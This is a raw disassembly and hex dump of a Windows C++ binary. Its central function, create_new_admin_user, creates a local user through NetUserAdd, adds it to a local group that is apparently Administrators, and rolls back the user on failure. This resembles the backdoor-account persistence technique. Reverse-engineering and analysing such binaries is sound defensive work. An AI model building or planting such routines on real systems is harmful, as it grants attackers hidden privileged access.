1400048a0 c1 e8 2a cc 0d 00 eb 03 48 89 c3 48 8d 45 7f 48 ..*.....H..H.E.H
1400048b0 89 c1 e8 19 95 0c 00 90 48 8d 45 20 48 89 c1 e8 ........H.E H...
1400048c0 0c cc 0d 00 eb 03 48 89 c3 48 8d 45 4f 48 89 c1 ......H..H.EOH..
1400048d0 e8 fb 94 0c 00 90 e9 01 01 00 00 48 89 c3 48 8d ...........H..H.
1400048e0 85 b0 00 00 00 48 89 c1 e8 e3 cb 0d 00 eb 03 48 .....H.........H
1400048f0 89 c3 48 8d 85 df 00 00 00 48 89 c1 e8 cf 94 0c ..H......H......
140004900 00 90 48 8d 85 80 00 00 00 48 89 c1 e8 bf cb 0d ..H......H......
140004910 00 eb 03 48 89 c3 48 8d 85 af 00 00 00 48 89 c1 ...H..H......H..
140004920 e8 ab 94 0c 00 90 e9 b1 00 00 00 48 89 c3 48 8d ...........H..H.
140004930 85 10 01 00 00 48 89 c1 e8 93 cb 0d 00 eb 03 48 .....H.........H
140004940 89 c3 48 8d 85 3f 01 00 00 48 89 c1 e8 7f 94 0c ..H..?...H......
140004950 00 90 48 8d 85 e0 00 00 00 48 89 c1 e8 6f cb 0d ..H......H...o..
140004960 00 eb 03 48 89 c3 48 8d 85 0f 01 00 00 48 89 c1 ...H..H......H..
140004970 e8 5b 94 0c 00 90 eb 64 48 89 c3 48 8d 85 70 01 .[.....dH..H..p.
140004980 00 00 48 89 c1 e8 46 cb 0d 00 eb 03 48 89 c3 48 ..H...F.....H..H
140004990 8d 85 90 01 00 00 48 89 c1 e8 32 cb 0d 00 eb 03 ......H...2.....
1400049a0 48 89 c3 48 8d 85 b7 01 00 00 48 89 c1 e8 1e 94 H..H......H.....
1400049b0 0c 00 90 48 8d 85 40 01 00 00 48 89 c1 e8 0e cb ...H..@...H.....
1400049c0 0d 00 eb 03 48 89 c3 48 8d 85 6f 01 00 00 48 89 ....H..H..o...H.
1400049d0 c1 e8 fa 93 0c 00 90 eb 03 48 89 c3 48 8d 45 a0 .........H..H.E.
1400049e0 48 89 c1 e8 e8 ca 0d 00 48 89 d8 48 89 c1 e8 ad H.......H..H....
1400049f0 69 01 00 90 i...
1400049f4
1400049f4loc_1400049f4:
1400049f4add rsp, 680
1400049fbpop rbx
1400049fcpop rbp
1400049fdret
140004283
1400049fe
1400049fecreate_new_admin_user[abi:cxx11]():
1400049fepush rbp
1400049ffpush rbx
140004a00sub rsp, 1288
140004a07lea rbp, [rsp+128]
140004a0fmov [rbp+1184], rcx
140004a16lea rax, [rbp+175]
140004a1dmov [rbp+1136], rax
140004a24nop
140004a25nop
140004a26lea rcx, [rbp+175]
140004a2dlea rdx, [rip+0x1027b5]
140004a34lea rax, [rbp+128]
140004a3bmov r8, rcx
140004a3emov rcx, rax
140004a41call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004a46lea rax, [rbp+219]
140004a4dmov [rbp+1128], rax
140004a54nop
140004a55nop
140004a56lea rcx, [rbp+219]
140004a5dlea rdx, [rip+0x102d2c]
140004a64lea rax, [rbp+176]
140004a6bmov r8, rcx
140004a6emov rcx, rax
140004a71call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004a76lea rdx, [rbp+128]
140004a7dlea rax, [rbp+176]
140004a84mov rcx, rax
140004a87call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004a8clea rax, [rbp+176]
140004a93mov rcx, rax
140004a96call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004a9blea rax, [rbp+219]
140004aa2mov rcx, rax
140004aa5call std::__new_allocator<char>::~__new_allocator()
140004aaanop
140004aablea rax, [rbp+128]
140004ab2mov rcx, rax
140004ab5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004abalea rax, [rbp+175]
140004ac1mov rcx, rax
140004ac4call std::__new_allocator<char>::~__new_allocator()
140004ac9nop
140004acalea rax, [rbp+220]
140004ad1mov [rbp+1120], rax
140004ad8nop
140004ad9nop
140004adalea rcx, [rbp+220]
140004ae1lea rdx, [rip+0x102ccd]
140004ae8lea rax, [rbp+96]
140004aecmov r8, rcx
140004aefmov rcx, rax
140004af2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004af7lea rax, [rbp+220]
140004afemov rcx, rax
140004b01call std::__new_allocator<char>::~__new_allocator()
140004b06nop
140004b07lea rax, [rbp+221]
140004b0emov [rbp+1112], rax
140004b15nop
140004b16nop
140004b17lea rcx, [rbp+221]
140004b1elea rdx, [rip+0x102c9d]
140004b25lea rax, [rbp+64]
140004b29mov r8, rcx
140004b2cmov rcx, rax
140004b2fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004b34lea rax, [rbp+221]
140004b3bmov rcx, rax
140004b3ecall std::__new_allocator<char>::~__new_allocator()
140004b43nop
140004b44lea rax, [rbp+222]
140004b4bmov [rbp+1104], rax
140004b52nop
140004b53nop
140004b54lea rax, [rbp+96]
140004b58mov rcx, rax
140004b5bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::end()
140004b60mov rbx, rax
140004b63lea rax, [rbp+96]
140004b67mov rcx, rax
140004b6acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::begin()
140004b6fmov rdx, rax
140004b72lea rcx, [rbp+222]
140004b79lea rax, [rbp+32]
140004b7dmov r9, rcx
140004b80mov r8, rbx
140004b83mov rcx, rax
140004b86call std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::basic_string<__gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, void>(__gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, __gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<wchar_t> const&)
140004b8blea rax, [rbp+222]
140004b92mov rcx, rax
140004b95call std::__new_allocator<wchar_t>::~__new_allocator()
140004b9anop
140004b9blea rax, [rbp+223]
140004ba2mov [rbp+1096], rax
140004ba9nop
140004baanop
140004bablea rax, [rbp+64]
140004bafmov rcx, rax
140004bb2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::end()
140004bb7mov rbx, rax
140004bbalea rax, [rbp+64]
140004bbemov rcx, rax
140004bc1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::begin()
140004bc6mov rdx, rax
140004bc9lea rcx, [rbp+223]
140004bd0mov rax, rbp
140004bd3mov r9, rcx
140004bd6mov r8, rbx
140004bd9mov rcx, rax
140004bdccall std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::basic_string<__gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, void>(__gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, __gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<wchar_t> const&)
140004be1lea rax, [rbp+223]
140004be8mov rcx, rax
140004bebcall std::__new_allocator<wchar_t>::~__new_allocator()
140004bf0nop
140004bf1lea rax, [rbp-64]
140004bf5mov r8l, 56
140004bfbmov edx, 0
140004c00mov rcx, rax
140004c03call memset
140004c08lea rax, [rbp+32]
140004c0cmov rcx, rax
140004c0fcall std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::c_str() const
140004c14mov [rbp-64], rax
140004c18mov rax, rbp
140004c1bmov rcx, rax
140004c1ecall std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::c_str() const
140004c23mov [rbp-56], rax
140004c27mov [rbp-44], 1
140004c2emov [rbp-24], 577
140004c35mov [rbp-68], 0
140004c3clea rdx, [rbp-68]
140004c40lea rax, [rbp-64]
140004c44mov r9, rdx
140004c47mov r8, rax
140004c4amov edx, 1
140004c4fmov ecx, 0
140004c54call NetUserAdd
140004c59mov [rbp+1148], eax
140004c5fcmp [rbp+1148], 0
140004c66jne 0x140005077
140004c6clea rax, [rbp+271]
140004c73mov [rbp+1088], rax
140004c7anop
140004c7bnop
140004c7clea rcx, [rbp+271]
140004c83lea rdx, [rip+0x102821]
140004c8alea rax, [rbp+224]
140004c91mov r8, rcx
140004c94mov rcx, rax
140004c97call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004c9clea rax, [rbp+304]
140004ca3lea rcx, [rbp+96]
140004ca7lea rdx, [rip+0x102b21]
140004caemov r8, rcx
140004cb1mov rcx, rax
140004cb4call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140004cb9lea rax, [rbp+272]
140004cc0lea rcx, [rip+0x102b0f]
140004cc7lea rdx, [rbp+304]
140004ccemov r8, rcx
140004cd1mov rcx, rax
140004cd4call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140004cd9lea rdx, [rbp+224]
140004ce0lea rax, [rbp+272]
140004ce7mov rcx, rax
140004ceacall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004ceflea rax, [rbp+272]
140004cf6mov rcx, rax
140004cf9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004cfelea rax, [rbp+304]
140004d05mov rcx, rax
140004d08call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004d0dlea rax, [rbp+224]
140004d14mov rcx, rax
140004d17call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004d1clea rax, [rbp+271]
140004d23mov rcx, rax
140004d26call std::__new_allocator<char>::~__new_allocator()
140004d2bnop
140004d2clea rax, [rbp-80]
140004d30mov r8l, 8
140004d36mov edx, 0
140004d3bmov rcx, rax
140004d3ecall memset
140004d43lea rax, [rbp+32]
140004d47mov rcx, rax
140004d4acall std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::c_str() const
140004d4fmov [rbp-80], rax
140004d53lea rdx, [rbp-80]
140004d57lea rax, [rip+0x102a90]
140004d5emov [rsp+32], 1
140004d66mov r9, rdx
140004d69mov r8l, 3
140004d6fmov rdx, rax
140004d72mov ecx, 0
140004d77call NetLocalGroupAddMembers
140004d7cmov [rbp+1148], eax
140004d82cmp [rbp+1148], 0
140004d89jne 0x140004ecd
140004d8flea rax, [rbp+383]
140004d96mov [rbp+1080], rax
140004d9dnop
140004d9enop
140004d9flea rcx, [rbp+383]
140004da6lea rdx, [rip+0x1026fe]
140004dadlea rax, [rbp+336]
140004db4mov r8, rcx
140004db7mov rcx, rax
140004dbacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004dbflea rax, [rbp+416]
140004dc6lea rcx, [rbp+96]
140004dcalea rdx, [rip+0x1029fe]
140004dd1mov r8, rcx
140004dd4mov rcx, rax
140004dd7call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140004ddclea rax, [rbp+384]
140004de3lea rcx, [rip+0x102a26]
140004dealea rdx, [rbp+416]
140004df1mov r8, rcx
140004df4mov rcx, rax
140004df7call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140004dfclea rdx, [rbp+336]
140004e03lea rax, [rbp+384]
140004e0amov rcx, rax
140004e0dcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004e12lea rax, [rbp+384]
140004e19mov rcx, rax
140004e1ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004e21lea rax, [rbp+416]
140004e28mov rcx, rax
140004e2bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004e30lea rax, [rbp+336]
140004e37mov rcx, rax
140004e3acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004e3flea rax, [rbp+383]
140004e46mov rcx, rax
140004e49call std::__new_allocator<char>::~__new_allocator()
140004e4enop
140004e4flea rax, [rbp+480]
140004e56lea rcx, [rbp+96]
140004e5alea rdx, [rip+0x1029d0]
140004e61mov r8, rcx
140004e64mov rcx, rax
140004e67call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140004e6clea rax, [rbp+448]
140004e73lea rcx, [rip+0x1029d0]
140004e7alea rdx, [rbp+480]
140004e81mov r8, rcx
140004e84mov rcx, rax
140004e87call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140004e8cmov rax, [rbp+1184]
140004e93lea rcx, [rbp+64]
140004e97lea rdx, [rbp+448]
140004e9emov r8, rcx
140004ea1mov rcx, rax
140004ea4call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
140004ea9nop
140004eaalea rax, [rbp+448]
140004eb1mov rcx, rax
140004eb4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004eb9lea rax, [rbp+480]
140004ec0mov rcx, rax
140004ec3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004ec8jmp 0x1400052bc
140004ecd
140004ecdloc_140004ecd:
140004ecdlea rax, [rbp+559]
140004ed4mov [rbp+1072], rax
140004edbnop
140004edcnop
140004eddlea rcx, [rbp+559]
140004ee4lea rdx, [rip+0x102318]
140004eeblea rax, [rbp+512]
140004ef2mov r8, rcx
140004ef5mov rcx, rax
140004ef8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004efdlea rax, [rbp+592]
140004f04mov edx, [rbp+1148]
140004f0amov rcx, rax
140004f0dcall std::__cxx11::to_string(unsigned long)
140004f12lea rax, [rbp+656]
140004f19lea rcx, [rbp+96]
140004f1dlea rdx, [rip+0x10292a]
140004f24mov r8, rcx
140004f27mov rcx, rax
140004f2acall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140004f2flea rax, [rbp+624]
140004f36lea rcx, [rip+0x10292b]
140004f3dlea rdx, [rbp+656]
140004f44mov r8, rcx
140004f47mov rcx, rax
140004f4acall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140004f4flea rax, [rbp+560]
140004f56lea rcx, [rbp+592]
140004f5dlea rdx, [rbp+624]
140004f64mov r8, rcx
140004f67mov rcx, rax
140004f6acall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
140004f6flea rdx, [rbp+512]
140004f76lea rax, [rbp+560]
140004f7dmov rcx, rax
140004f80call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004f85lea rax, [rbp+560]
140004f8cmov rcx, rax
140004f8fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004f94lea rax, [rbp+624]
140004f9bmov rcx, rax
140004f9ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004fa3lea rax, [rbp+656]
140004faamov rcx, rax
140004fadcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004fb2lea rax, [rbp+592]
140004fb9mov rcx, rax
140004fbccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004fc1lea rax, [rbp+512]
140004fc8mov rcx, rax
140004fcbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004fd0lea rax, [rbp+559]
140004fd7mov rcx, rax
140004fdacall std::__new_allocator<char>::~__new_allocator()
140004fdfnop
140004fe0lea rax, [rbp+32]
140004fe4mov rcx, rax
140004fe7call std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::c_str() const
140004fecmov rdx, rax
140004fefmov ecx, 0
140004ff4call NetUserDel
140004ff9lea rax, [rbp+720]
140005000lea rcx, [rbp+96]
140005004lea rdx, [rip+0x102885]
14000500bmov r8, rcx
14000500emov rcx, rax
140005011call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140005016lea rax, [rbp+688]
14000501dlea rcx, [rip+0x102826]
140005024lea rdx, [rbp+720]
14000502bmov r8, rcx
14000502emov rcx, rax
140005031call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140005036mov rax, [rbp+1184]
14000503dlea rcx, [rbp+64]
140005041lea rdx, [rbp+688]
140005048mov r8, rcx
14000504bmov rcx, rax
14000504ecall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
140005053nop
140005054lea rax, [rbp+688]
14000505bmov rcx, rax
14000505ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005063lea rax, [rbp+720]
14000506amov rcx, rax
14000506dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005072jmp 0x1400052bc
140005077
140005077loc_140005077:
140005077cmp [rbp+1148], 2224
140005081jne 0x140005169
140005087lea rax, [rbp+799]
14000508emov [rbp+1064], rax
140005095nop
140005096nop
140005097lea rcx, [rbp+799]
14000509elea rdx, [rip+0x102829]
1400050a5lea rax, [rbp+752]
1400050acmov r8, rcx
1400050afmov rcx, rax
1400050b2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400050b7lea rax, [rbp+832]
1400050belea rcx, [rbp+96]
1400050c2lea rdx, [rip+0x102706]
1400050c9mov r8, rcx
1400050ccmov rcx, rax
1400050cfcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
1400050d4lea rax, [rbp+800]
1400050dblea rcx, [rip+0x1027f6]
1400050e2lea rdx, [rbp+832]
1400050e9mov r8, rcx
1400050ecmov rcx, rax
1400050efcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
1400050f4lea rdx, [rbp+752]
1400050fblea rax, [rbp+800]
140005102mov rcx, rax
140005105call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000510alea rax, [rbp+800]
140005111mov rcx, rax
140005114call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005119lea rax, [rbp+832]
140005120mov rcx, rax
140005123call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005128lea rax, [rbp+752]
14000512fmov rcx, rax
140005132call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005137lea rax, [rbp+799]
14000513emov rcx, rax
140005141call std::__new_allocator<char>::~__new_allocator()
140005146nop
140005147mov rax, [rbp+1184]
14000514elea rcx, [rbp+96]
140005152lea rdx, [rip+0x1027a4]
140005159mov r8, rcx
14000515cmov rcx, rax
14000515fcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140005164jmp 0x1400052bc
140005169
140005169loc_140005169:
140005169lea rax, [rbp+911]
140005170mov [rbp+1056], rax
140005177nop
140005178nop
140005179lea rcx, [rbp+911]
140005180lea rdx, [rip+0x10207c]
140005187lea rax, [rbp+864]
14000518emov r8, rcx
140005191mov rcx, rax
140005194call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005199lea rax, [rbp+944]
1400051a0mov edx, [rbp+1148]
1400051a6mov rcx, rax
1400051a9call std::__cxx11::to_string(unsigned long)
1400051aelea rax, [rbp+1008]
1400051b5lea rcx, [rbp+96]
1400051b9lea rdx, [rip+0x102753]
1400051c0mov r8, rcx
1400051c3mov rcx, rax
1400051c6call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
1400051cblea rax, [rbp+976]
1400051d2lea rcx, [rip+0x102752]
1400051d9lea rdx, [rbp+1008]
1400051e0mov r8, rcx
1400051e3mov rcx, rax
1400051e6call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
1400051eblea rax, [rbp+912]
1400051f2lea rcx, [rbp+944]
1400051f9lea rdx, [rbp+976]
140005200mov r8, rcx
140005203mov rcx, rax
140005206call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
14000520blea rdx, [rbp+864]
140005212lea rax, [rbp+912]
140005219mov rcx, rax
14000521ccall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140005221lea rax, [rbp+912]
140005228mov rcx, rax
14000522bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005230lea rax, [rbp+976]
140005237mov rcx, rax
14000523acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000523flea rax, [rbp+1008]
140005246mov rcx, rax
140005249call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000524elea rax, [rbp+944]
140005255mov rcx, rax
140005258call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000525dlea rax, [rbp+864]
140005264mov rcx, rax
140005267call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000526clea rax, [rbp+911]
140005273mov rcx, rax
140005276call std::__new_allocator<char>::~__new_allocator()
14000527bnop
14000527clea rax, [rbp+1047]
140005283mov [rbp+1048], rax
14000528anop
14000528bnop
14000528clea rcx, [rbp+1047]
140005293lea rdx, [rip+0x10269c]
14000529amov rax, [rbp+1184]
1400052a1mov r8, rcx
1400052a4mov rcx, rax
1400052a7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400052aclea rax, [rbp+1047]
1400052b3mov rcx, rax
1400052b6call std::__new_allocator<char>::~__new_allocator()
1400052bbnop
1400052bc
1400052bcloc_1400052bc:
1400052bcmov rax, rbp
1400052bfmov rcx, rax
1400052c2call std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::~basic_string()
1400052c7lea rax, [rbp+32]
1400052cbmov rcx, rax
1400052cecall std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::~basic_string()
1400052d3lea rax, [rbp+64]
1400052d7mov rcx, rax
1400052dacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400052dflea rax, [rbp+96]
1400052e3mov rcx, rax
1400052e6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400052ebjmp 0x14000563b
1400052f0
1400052f0 48 89 c3 48 8d 85 b0 00 00 00 48 89 c1 e8 ce c1 H..H......H.....
140005300 0d 00 eb 03 48 89 c3 48 8d 85 db 00 00 00 48 89 ....H..H......H.
140005310 c1 e8 ba 8a 0c 00 90 48 8d 85 80 00 00 00 48 89 .......H......H.
140005320 c1 e8 aa c1 0d 00 eb 03 48 89 c3 48 8d 85 af 00 ........H..H....
140005330 00 00 48 89 c1 e8 96 8a 0c 00 90 48 89 d8 48 89 ..H........H..H.
140005340 c1 e8 5a 60 01 00 48 89 c3 48 8d 85 dc 00 00 00 ..Z`..H..H......
140005350 48 89 c1 e8 78 8a 0c 00 90 48 89 d8 48 89 c1 e8 H...x....H..H...
140005360 3c 60 01 00 48 89 c3 48 8d 85 dd 00 00 00 48 89 <`..H..H......H.
140005370 c1 e8 5a 8a 0c 00 90 e9 a8 02 00 00 48 89 c3 48 ..Z.........H..H
140005380 8d 85 de 00 00 00 48 89 c1 e8 f2 8a 0c 00 90 e9 ......H.........
140005390 84 02 00 00 48 89 c3 48 8d 85 df 00 00 00 48 89 ....H..H......H.
1400053a0 c1 e8 da 8a 0c 00 90 e9 60 02 00 00 48 89 c3 48 ........`...H..H
1400053b0 8d 85 10 01 00 00 48 89 c1 e8 12 c1 0d 00 eb 03 ......H.........
1400053c0 48 89 c3 48 8d 85 30 01 00 00 48 89 c1 e8 fe c0 H..H..0...H.....
1400053d0 0d 00 eb 03 48 89 c3 48 8d 85 e0 00 00 00 48 89 ....H..H......H.
1400053e0 c1 e8 ea c0 0d 00 eb 03 48 89 c3 48 8d 85 0f 01 ........H..H....
1400053f0 00 00 48 89 c1 e8 d6 89 0c 00 90 e9 01 02 00 00 ..H.............
140005400 48 89 c3 48 8d 85 80 01 00 00 48 89 c1 e8 be c0 H..H......H.....
140005410 0d 00 eb 03 48 89 c3 48 8d 85 a0 01 00 00 48 89 ....H..H......H.
140005420 c1 e8 aa c0 0d 00 eb 03 48 89 c3 48 8d 85 50 01 ........H..H..P.
140005430 00 00 48 89 c1 e8 96 c0 0d 00 eb 03 48 89 c3 48 ..H.........H..H
140005440 8d 85 7f 01 00 00 48 89 c1 e8 82 89 0c 00 90 e9 ......H.........
140005450 ad 01 00 00 48 89 c3 48 8d 85 c0 01 00 00 48 89 ....H..H......H.
140005460 c1 e8 6a c0 0d 00 eb 03 48 89 c3 48 8d 85 e0 01 ..j.....H..H....
140005470 00 00 48 89 c1 e8 56 c0 0d 00 e9 82 01 00 00 48 ..H...V........H
140005480 89 c3 48 8d 85 30 02 00 00 48 89 c1 e8 3f c0 0d ..H..0...H...?..
140005490 00 eb 03 48 89 c3 48 8d 85 70 02 00 00 48 89 c1 ...H..H..p...H..
1400054a0 e8 2b c0 0d 00 eb 03 48 89 c3 48 8d 85 90 02 00 .+.....H..H.....
1400054b0 00 48 89 c1 e8 17 c0 0d 00 eb 03 48 89 c3 48 8d .H.........H..H.
1400054c0 85 50 02 00 00 48 89 c1 e8 03 c0 0d 00 48 8d 85 .P...H.......H..
1400054d0 00 02 00 00 48 89 c1 e8 f4 bf 0d 00 eb 03 48 89 ....H.........H.
1400054e0 c3 48 8d 85 2f 02 00 00 48 89 c1 e8 e0 88 0c 00 .H../...H.......
1400054f0 90 e9 0b 01 00 00 48 89 c3 48 8d 85 b0 02 00 00 ......H..H......
140005500 48 89 c1 e8 c8 bf 0d 00 eb 03 48 89 c3 48 8d 85 H.........H..H..
140005510 d0 02 00 00 48 89 c1 e8 b4 bf 0d 00 e9 e0 00 00 ....H...........
140005520 00 48 89 c3 48 8d 85 20 03 00 00 48 89 c1 e8 9d .H..H.. ...H....
140005530 bf 0d 00 eb 03 48 89 c3 48 8d 85 40 03 00 00 48 .....H..H..@...H
140005540 89 c1 e8 89 bf 0d 00 eb 03 48 89 c3 48 8d 85 f0 .........H..H...
140005550 02 00 00 48 89 c1 e8 75 bf 0d 00 eb 03 48 89 c3 ...H...u.....H..
140005560 48 8d 85 1f 03 00 00 48 89 c1 e8 61 88 0c 00 90 H......H...a....
140005570 e9 8c 00 00 00 48 89 c3 48 8d 85 90 03 00 00 48 .....H..H......H
140005580 89 c1 e8 49 bf 0d 00 eb 03 48 89 c3 48 8d 85 d0 ...I.....H..H...
140005590 03 00 00 48 89 c1 e8 35 bf 0d 00 eb 03 48 89 c3 ...H...5.....H..
1400055a0 48 8d 85 f0 03 00 00 48 89 c1 e8 21 bf 0d 00 eb H......H...!....
1400055b0 03 48 89 c3 48 8d 85 b0 03 00 00 48 89 c1 e8 0d .H..H......H....
1400055c0 bf 0d 00 48 8d 85 60 03 00 00 48 89 c1 e8 fe be ...H..`...H.....
1400055d0 0d 00 eb 03 48 89 c3 48 8d 85 8f 03 00 00 48 89 ....H..H......H.
1400055e0 c1 e8 ea 87 0c 00 90 eb 18 48 89 c3 48 8d 85 17 .........H..H...
1400055f0 04 00 00 48 89 c1 e8 d5 87 0c 00 90 eb 03 48 89 ...H..........H.
140005600 c3 48 89 e8 48 89 c1 e8 b4 05 0e 00 48 8d 45 20 .H..H.......H.E
140005610 48 89 c1 e8 a8 05 0e 00 48 8d 45 40 48 89 c1 e8 H.......H.E@H...
140005620 ac be 0d 00 48 8d 45 60 48 89 c1 e8 a0 be 0d 00 ....H.E`H.......
140005630 48 89 d8 48 89 c1 e8 65 5d 01 00 H..H...e]..
14000563b
